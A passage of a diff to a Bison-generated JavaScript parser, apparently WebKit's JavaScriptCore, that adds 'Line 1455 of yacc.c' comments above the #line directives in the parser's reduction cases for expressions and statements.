     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitXOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 150:
+
+/* Line 1455 of yacc.c  */
 #line 670 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitXOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 152:
+
+/* Line 1455 of yacc.c  */
 #line 676 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitXOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 154:
+
+/* Line 1455 of yacc.c  */
 #line 681 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 156:
+
+/* Line 1455 of yacc.c  */
 #line 687 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 158:
+
+/* Line 1455 of yacc.c  */
 #line 693 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 160:
+
+/* Line 1455 of yacc.c  */
 #line 698 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalAnd), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 162:
+
+/* Line 1455 of yacc.c  */
 #line 704 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalAnd), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 164:
+
+/* Line 1455 of yacc.c  */
 #line 710 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalAnd), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 166:
+
+/* Line 1455 of yacc.c  */
 #line 715 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalOr), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 168:
+
+/* Line 1455 of yacc.c  */
 #line 721 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalOr), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 170:
+
+/* Line 1455 of yacc.c  */
 #line 726 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalOr), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 172:
+
+/* Line 1455 of yacc.c  */
 #line 732 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ConditionalNode(GLOBAL_DATA, (yyvsp[(1) - (5)].expressionNode).m_node, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].expressionNode).m_node), (yyvsp[(1) - (5)].expressionNode).m_features | (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].expressionNode).m_features, (yyvsp[(1) - (5)].expressionNode).m_numConstants + (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].expressionNode).m_numConstants); ;}
     break;
 
   case 174:
+
+/* Line 1455 of yacc.c  */
 #line 738 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ConditionalNode(GLOBAL_DATA, (yyvsp[(1) - (5)].expressionNode).m_node, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].expressionNode).m_node), (yyvsp[(1) - (5)].expressionNode).m_features | (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].expressionNode).m_features, (yyvsp[(1) - (5)].expressionNode).m_numConstants + (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].expressionNode).m_numConstants); ;}
     break;
 
   case 176:
+
+/* Line 1455 of yacc.c  */
 #line 744 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ConditionalNode(GLOBAL_DATA, (yyvsp[(1) - (5)].expressionNode).m_node, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].expressionNode).m_node), (yyvsp[(1) - (5)].expressionNode).m_features | (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].expressionNode).m_features, (yyvsp[(1) - (5)].expressionNode).m_numConstants + (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].expressionNode).m_numConstants); ;}
     break;
 
   case 178:
+
+/* Line 1455 of yacc.c  */
 #line 750 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAssignNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(2) - (3)].op), (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(1) - (3)].expressionNode).m_features & AssignFeature, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature, 
                                                                                                      (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).first_column + 1, (yylsp[(3) - (3)]).last_column), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); 
@@ -3742,6 +3960,8 @@ yyreduce:
     break;
 
   case 180:
+
+/* Line 1455 of yacc.c  */
 #line 758 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAssignNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(2) - (3)].op), (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(1) - (3)].expressionNode).m_features & AssignFeature, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature, 
                                                                                                      (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).first_column + 1, (yylsp[(3) - (3)]).last_column), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants);
@@ -3749,6 +3969,8 @@ yyreduce:
     break;
 
   case 182:
+
+/* Line 1455 of yacc.c  */
 #line 766 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAssignNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(2) - (3)].op), (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(1) - (3)].expressionNode).m_features & AssignFeature, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature,
                                                                                                      (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).first_column + 1, (yylsp[(3) - (3)]).last_column), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); 
@@ -3756,99 +3978,137 @@ yyreduce:
     break;
 
   case 183:
+
+/* Line 1455 of yacc.c  */
 #line 772 "parser/Grammar.y"
     { (yyval.op) = OpEqual; ;}
     break;
 
   case 184:
+
+/* Line 1455 of yacc.c  */
 #line 773 "parser/Grammar.y"
     { (yyval.op) = OpPlusEq; ;}
     break;
 
   case 185:
+
+/* Line 1455 of yacc.c  */
 #line 774 "parser/Grammar.y"
     { (yyval.op) = OpMinusEq; ;}
     break;
 
   case 186:
+
+/* Line 1455 of yacc.c  */
 #line 775 "parser/Grammar.y"
     { (yyval.op) = OpMultEq; ;}
     break;
 
   case 187:
+
+/* Line 1455 of yacc.c  */
 #line 776 "parser/Grammar.y"
     { (yyval.op) = OpDivEq; ;}
     break;
 
   case 188:
+
+/* Line 1455 of yacc.c  */
 #line 777 "parser/Grammar.y"
     { (yyval.op) = OpLShift; ;}
     break;
 
   case 189:
+
+/* Line 1455 of yacc.c  */
 #line 778 "parser/Grammar.y"
     { (yyval.op) = OpRShift; ;}
     break;
 
   case 190:
+
+/* Line 1455 of yacc.c  */
 #line 779 "parser/Grammar.y"
     { (yyval.op) = OpURShift; ;}
     break;
 
   case 191:
+
+/* Line 1455 of yacc.c  */
 #line 780 "parser/Grammar.y"
     { (yyval.op) = OpAndEq; ;}
     break;
 
   case 192:
+
+/* Line 1455 of yacc.c  */
 #line 781 "parser/Grammar.y"
     { (yyval.op) = OpXOrEq; ;}
     break;
 
   case 193:
+
+/* Line 1455 of yacc.c  */
 #line 782 "parser/Grammar.y"
     { (yyval.op) = OpOrEq; ;}
     break;
 
   case 194:
+
+/* Line 1455 of yacc.c  */
 #line 783 "parser/Grammar.y"
     { (yyval.op) = OpModEq; ;}
     break;
 
   case 196:
+
+/* Line 1455 of yacc.c  */
 #line 788 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 198:
+
+/* Line 1455 of yacc.c  */
 #line 793 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 200:
+
+/* Line 1455 of yacc.c  */
 #line 798 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 218:
+
+/* Line 1455 of yacc.c  */
 #line 822 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BlockNode(GLOBAL_DATA, 0), 0, 0, 0, 0);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
     break;
 
   case 219:
+
+/* Line 1455 of yacc.c  */
 #line 824 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BlockNode(GLOBAL_DATA, (yyvsp[(2) - (3)].sourceElements).m_node), (yyvsp[(2) - (3)].sourceElements).m_varDeclarations, (yyvsp[(2) - (3)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (3)].sourceElements).m_features, (yyvsp[(2) - (3)].sourceElements).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
     break;
 
   case 220:
+
+/* Line 1455 of yacc.c  */
 #line 829 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(makeVarStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].varDeclList).m_node), (yyvsp[(2) - (3)].varDeclList).m_varDeclarations, (yyvsp[(2) - (3)].varDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].varDeclList).m_features, (yyvsp[(2) - (3)].varDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
     break;
 
   case 221:
+
+/* Line 1455 of yacc.c  */
 #line 831 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(makeVarStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].varDeclList).m_node), (yyvsp[(2) - (3)].varDeclList).m_varDeclarations, (yyvsp[(2) - (3)].varDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].varDeclList).m_features, (yyvsp[(2) - (3)].varDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)]));
@@ -3856,6 +4116,8 @@ yyreduce:
     break;
 
   case 222:
+
+/* Line 1455 of yacc.c  */
 #line 837 "parser/Grammar.y"
     { (yyval.varDeclList).m_node = 0;
                                           (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
@@ -3867,6 +4129,8 @@ yyreduce:
     break;
 
   case 223:
+
+/* Line 1455 of yacc.c  */
 #line 844 "parser/Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node, (yyvsp[(2) - (2)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column);
@@ -3880,6 +4144,8 @@ yyreduce:
     break;
 
   case 224:
+
+/* Line 1455 of yacc.c  */
 #line 854 "parser/Grammar.y"
     { (yyval.varDeclList).m_node = (yyvsp[(1) - (3)].varDeclList).m_node;
                                           (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (3)].varDeclList).m_varDeclarations;
@@ -3891,6 +4157,8 @@ yyreduce:
     break;
 
   case 225:
+
+/* Line 1455 of yacc.c  */
 #line 862 "parser/Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(3) - (4)].ident), (yyvsp[(4) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(3) - (4)]).first_column, (yylsp[(4) - (4)]).first_column + 1, (yylsp[(4) - (4)]).last_column);
@@ -3904,6 +4172,8 @@ yyreduce:
     break;
 
   case 226:
+
+/* Line 1455 of yacc.c  */
 #line 874 "parser/Grammar.y"
     { (yyval.varDeclList).m_node = 0;
                                           (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
@@ -3915,6 +4185,8 @@ yyreduce:
     break;
 
   case 227:
+
+/* Line 1455 of yacc.c  */
 #line 881 "parser/Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node, (yyvsp[(2) - (2)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column);
@@ -3928,6 +4200,8 @@ yyreduce:
     break;
 
   case 228:
+
+/* Line 1455 of yacc.c  */
 #line 891 "parser/Grammar.y"
     { (yyval.varDeclList).m_node = (yyvsp[(1) - (3)].varDeclList).m_node;
                                           (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (3)].varDeclList).m_varDeclarations;
@@ -3939,6 +4213,8 @@ yyreduce:
     break;
 
   case 229:
+
+/* Line 1455 of yacc.c  */
 #line 899 "parser/Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(3) - (4)].ident), (yyvsp[(4) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(3) - (4)]).first_column, (yylsp[(4) - (4)]).first_column + 1, (yylsp[(4) - (4)]).last_column);
@@ -3952,18 +4228,24 @@ yyreduce:
     break;
 
   case 230:
+
+/* Line 1455 of yacc.c  */
 #line 911 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ConstStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].constDeclList).m_node.head), (yyvsp[(2) - (3)].constDeclList).m_varDeclarations, (yyvsp[(2) - (3)].constDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].constDeclList).m_features, (yyvsp[(2) - (3)].constDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
     break;
 
   case 231:
+
+/* Line 1455 of yacc.c  */
 #line 914 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ConstStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].constDeclList).m_node.head), (yyvsp[(2) - (3)].constDeclList).m_varDeclarations, (yyvsp[(2) - (3)].constDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].constDeclList).m_features, (yyvsp[(2) - (3)].constDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
     break;
 
   case 232:
+
+/* Line 1455 of yacc.c  */
 #line 919 "parser/Grammar.y"
     { (yyval.constDeclList).m_node.head = (yyvsp[(1) - (1)].constDeclNode).m_node;
                                           (yyval.constDeclList).m_node.tail = (yyval.constDeclList).m_node.head;
@@ -3976,6 +4258,8 @@ yyreduce:
     break;
 
   case 233:
+
+/* Line 1455 of yacc.c  */
 #line 928 "parser/Grammar.y"
     { (yyval.constDeclList).m_node.head = (yyvsp[(1) - (3)].constDeclList).m_node.head;
                                           (yyvsp[(1) - (3)].constDeclList).m_node.tail->m_next = (yyvsp[(3) - (3)].constDeclNode).m_node;
@@ -3988,49 +4272,67 @@ yyreduce:
     break;
 
   case 234:
+
+/* Line 1455 of yacc.c  */
 #line 939 "parser/Grammar.y"
     { (yyval.constDeclNode) = createNodeInfo<ConstDeclNode*>(new (GLOBAL_DATA) ConstDeclNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident), 0), (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0, 0); ;}
     break;
 
   case 235:
+
+/* Line 1455 of yacc.c  */
 #line 940 "parser/Grammar.y"
     { (yyval.constDeclNode) = createNodeInfo<ConstDeclNode*>(new (GLOBAL_DATA) ConstDeclNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node), ((*(yyvsp[(1) - (2)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 236:
+
+/* Line 1455 of yacc.c  */
 #line 944 "parser/Grammar.y"
     { (yyval.expressionNode) = (yyvsp[(2) - (2)].expressionNode); ;}
     break;
 
   case 237:
+
+/* Line 1455 of yacc.c  */
 #line 948 "parser/Grammar.y"
     { (yyval.expressionNode) = (yyvsp[(2) - (2)].expressionNode); ;}
     break;
 
   case 238:
+
+/* Line 1455 of yacc.c  */
 #line 952 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) EmptyStatementNode(GLOBAL_DATA), 0, 0, 0, 0); ;}
     break;
 
   case 239:
+
+/* Line 1455 of yacc.c  */
 #line 956 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ExprStatementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node), 0, 0, (yyvsp[(1) - (2)].expressionNode).m_features, (yyvsp[(1) - (2)].expressionNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
     break;
 
   case 240:
+
+/* Line 1455 of yacc.c  */
 #line 958 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ExprStatementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node), 0, 0, (yyvsp[(1) - (2)].expressionNode).m_features, (yyvsp[(1) - (2)].expressionNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
     break;
 
   case 241:
+
+/* Line 1455 of yacc.c  */
 #line 964 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) IfNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node), (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
     break;
 
   case 242:
+
+/* Line 1455 of yacc.c  */
 #line 967 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) IfElseNode(GLOBAL_DATA, (yyvsp[(3) - (7)].expressionNode).m_node, (yyvsp[(5) - (7)].statementNode).m_node, (yyvsp[(7) - (7)].statementNode).m_node), 
                                                                                          mergeDeclarationLists((yyvsp[(5) - (7)].statementNode).m_varDeclarations, (yyvsp[(7) - (7)].statementNode).m_varDeclarations),
@@ -4041,24 +4343,32 @@ yyreduce:
     break;
 
   case 243:
+
+/* Line 1455 of yacc.c  */
 #line 976 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DoWhileNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node), (yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(2) - (7)].statementNode).m_features | (yyvsp[(5) - (7)].expressionNode).m_features, (yyvsp[(2) - (7)].statementNode).m_numConstants + (yyvsp[(5) - (7)].expressionNode).m_numConstants);
                                              setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(3) - (7)])); ;}
     break;
 
   case 244:
+
+/* Line 1455 of yacc.c  */
 #line 978 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DoWhileNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node), (yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(2) - (7)].statementNode).m_features | (yyvsp[(5) - (7)].expressionNode).m_features, (yyvsp[(2) - (7)].statementNode).m_numConstants + (yyvsp[(5) - (7)].expressionNode).m_numConstants);
                                              setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(3) - (7)])); ;}
     break;
 
   case 245:
+
+/* Line 1455 of yacc.c  */
 #line 980 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) WhileNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node), (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
     break;
 
   case 246:
+
+/* Line 1455 of yacc.c  */
 #line 983 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ForNode(GLOBAL_DATA, (yyvsp[(3) - (9)].expressionNode).m_node, (yyvsp[(5) - (9)].expressionNode).m_node, (yyvsp[(7) - (9)].expressionNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node, false), (yyvsp[(9) - (9)].statementNode).m_varDeclarations, (yyvsp[(9) - (9)].statementNode).m_funcDeclarations, 
                                                                                          (yyvsp[(3) - (9)].expressionNode).m_features | (yyvsp[(5) - (9)].expressionNode).m_features | (yyvsp[(7) - (9)].expressionNode).m_features | (yyvsp[(9) - (9)].statementNode).m_features,
@@ -4068,6 +4378,8 @@ yyreduce:
     break;
 
   case 247:
+
+/* Line 1455 of yacc.c  */
 #line 989 "parser/Grammar.y"
